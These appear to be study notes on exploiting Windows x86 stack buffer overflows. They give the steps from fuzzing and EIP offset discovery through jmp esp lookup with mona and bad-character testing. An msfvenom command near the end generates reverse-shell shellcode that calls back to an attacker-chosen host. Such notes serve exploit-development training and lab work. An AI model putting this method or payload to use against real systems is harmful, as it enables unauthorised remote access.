Understanding the registers

  • ESP: keeps track of most recently referenced location on the stack (top of the stack), dynamic
  • EBP: stores a pointer to the top of the stack when a function is called, fixed for the frame
  • EIP: points to the next instruction, usually targeted

Common MS protections

  • DEP: Data Execution Prevention, prevent code execution from data pages
  • ASLR: Address Space Layout Randomisation, randomise base addresses of app and dll on boot
    • Older OS such as XP does not have this
  • CFG: Control Flow Guard, performs validation of indirect code branching, prevents pointer overwrites

BOF Methodology

  • FUZZ THE APPLICATION
  • FINDING THE EIP OFFSET
  • CONTROL THE EIP
  • CHECK FOR BAD CHARACTERS
  • FINDING A RETURN ADDRESS - JMP ESP
  • SHELL CODE GENERATION

Find entry point and offset

  • Run the app (service) and find entry point (may use wireshark)
  • Fuzz to find bof offset, roughly the range, this may trigger error on the return address
  • Genereate patterns to substitute the buffer
> /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 64

Control EIP

  • Control the EIP value in the pattern (offset), remeber little endianess
> /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb -q Ab1A -l 64

Control ESP

  • Test the theory using AAAABBBB as the buffer, EIP should be BBBB
    • You can extend the buffer a bit to CCCCDDDDEEEEFFFF to see whether ESP can be controlled as well
    • Redirect to ESP (i.e jmp esp) is one way of exploiting
  • Find a static library that has jmp esp using mona modules in Immunity Debugger to find dll/executables
    • Ensure ASLR is off and the address doesn’t contain a bad character
    • Check the base address doesn’t contain bad characters
    • Check the target dll/executable has SafeSEH, ASLR NXCompat (DEP) disabled
  • Open Immunity Debugger and run the mona modules to ensure the above conditions. Base addresses can also be found from /proc/<id>/maps on linux.
> !mona modules
  • Find jmp esp op code (i.e FFE4)
> /opt/metasploit-framework/embedded/framework/tools/exploit/nasm_shell.rb
> !mona find -s "\xff\xe4" -m "<module>"    `jmp esp`
> !mona find -s "\xff\xd4" -m "<module>"    `call esp`
> !mona jmp -r esp -cpb "<bad-chars>"       check the log data
  • Overrite EIP with a static address to jmp esp (equivalent ops call esp), note the endianess.
* x86 AMD64: little endian
* Sparc, PowerPC: big endian

Find space for buffer

  • Extend the buffer to check for space availability
  • If there is enough space, just do EIP -> JMP ESP -> SHELLCODE
  • If not enough space (~350 bytes), consider a staged approach, EIP -> JMP ESP -> JMP ECX/EAX -> SHELLCODE

Test for bad characters

  • \x00 is usually a bad char, it’s not included in the badchars list below
  • Look for missing chars in the stack, be patient repeat many times
  • May need to go back to jmp esp if the previous address contains a bad char
  • Immunity debugger has a module to compare for bad characters
> !mona compare -f <file> -a <esp-address>
> !mona compare -f <file> -a esp

shellcode

  • If cannot use generic shell code, must encode it, e.g -e x86/shikata_ga_nai
  • Keep some nops sled before the shellcode for the decoding operation “\x90” * 16
  • Generate the shellcode
> msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=<ip> LPORT=4444 -b '{bad_char}' -e x86/shikata_ga_nai -f python -v shellcode
  • For improvement, can use EXITFUNC=thread to be able to repeatedly run the exploit without terminating the main app.

All characters in python

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

References

Common instructions

  • return 0
> MOV EAX,0
  • main function epologue
> leave
> retn
or
> mov esp, ebp
> pop	ebp
> ret